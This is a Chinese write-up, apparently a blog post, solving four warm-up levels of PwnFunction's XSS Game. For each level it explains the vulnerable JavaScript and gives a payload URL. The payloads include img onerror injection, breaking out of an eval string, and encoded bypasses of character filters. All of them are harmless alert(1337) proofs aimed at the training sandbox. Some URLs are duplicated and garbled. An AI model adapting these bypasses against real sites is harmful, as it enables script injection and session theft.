xss-靶场

一、环境地址

XSS Game - Learning XSS Made Simple! | Created by PwnFunction

二、案例复现

案列1——Ma Spaghet!

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

这个脚本的功能是将页面中 ID 为 spaghet<h2> 元素的 innerHTML 设置为一个字符串,该字符串由 URL 查询参数 somebody 的值和文本 "Toucha Ma Spaghet!" 组合而成。如果 somebody 参数不存在,则使用默认值 "Somebody"。具体来说:

  1. new URL(location).searchParams.get('somebody'):获取 URL 查询参数 somebody 的值。
  2. || "Somebody":如果没有该查询参数,则使用默认值 "Somebody"。
  3. spaghet.innerHTML = ...:将拼接后的字符串赋值给 <h2> 元素的 innerHTML 属性。

element.innerHTML - Web API | MDN (mozilla.org)

解法

所以这道题的解法就很明了了,原因由上所说

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img src=1 οnerrοr="alert(1337)">

本题应注意innerHTNL与innerText的区别

案例2——Jefff

<!-- Challenge -->
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

这个脚本的作用是将页面中 ID 为 maname 的 <h2> 元素的文本设置为 "Ma name " 后跟 URL 查询参数 jeff 的值,或者在没有该参数时使用默认值 "JEFFF"。具体步骤如下:

    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF"):获取查询参数 jeff 的值,若不存在则使用默认值 "JEFFF"。
    eval(ma = "Ma name ${jeff}"):使用 eval 动态创建字符串 "Ma name ${jeff}" 并将其赋值给变量 ma。
    setTimeout(_ => { maname.innerText = ma }, 1000):在 1000 毫秒(1秒)后将 ma 的值设置为 <h2> 元素的文本内容,只执行一次

解法1

用分号;分割

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa";alert(1337);"https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa";alert(1337);"https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa";alert(1337);"

解法2

用js中的特殊连接符(-)

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa"-alert(1337);-"https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa"-alert(1337);-"https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa"-alert(1337);-"

案例3——Ugandan Knuckles

<!-- Challenge -->
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

这个脚本的作用是将页面中 ID 为 uganda<div> 元素的内容设置为一个 <input> 元素。具体步骤如下:

  1. let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?"):获取 URL 查询参数 wey 的值,如果没有则使用默认值 "do you know da wey?"
  2. wey = wey.replace(/[<>]/g, ''):从 wey 字符串中移除所有 <> 字符,以防止潜在的 HTML 注入。
  3. uganda.innerHTML = <input type="text" placeholder="${wey}" class="form-control">``:将 div 元素的 innerHTML 设置为一个 <input> 元素,其 placeholder 属性的值为处理后的 wey

解法

这道题的解法在于input的onfocus与autofocus属性(作用是聚焦,不过一个是手动对焦,一个是自动对焦)

案例4——Ah That's Hawt

<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

这个脚本的作用是将页面中 ID 为 will 的 <h2> 元素的 innerHTML 设置为一个处理过的字符串。具体步骤如下:

    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt"):
        从 URL 查询参数 markassbrownlee 中获取值。如果该参数不存在,则使用默认值 "Ah That's Hawt"。

    smith = smith.replace(/[\(\)\]/g, '')`:
        使用正则表达式从字符串 smith 中移除所有的 (、`、)、\ 字符(注,这里的符号我用逗号分隔的注意分辨)。这一步主要是为了清理字符串,以防止潜在的 HTML 注入或其他不安全字符。

    will.innerHTML = smith:
        将处理后的字符串 smith 赋值给 <h2> 元素的 innerHTML 属性。这将更新该 <h2> 元素的内容为 smith 的值。

解法

这道题过滤括号,反引号,反斜杠,采取location和编码绕过,%25url编码为%,%28编码为(,剩下的同理

https://sandbox.pwnfunction.com/warmups/thats-hawt.html?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">

  • 13
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值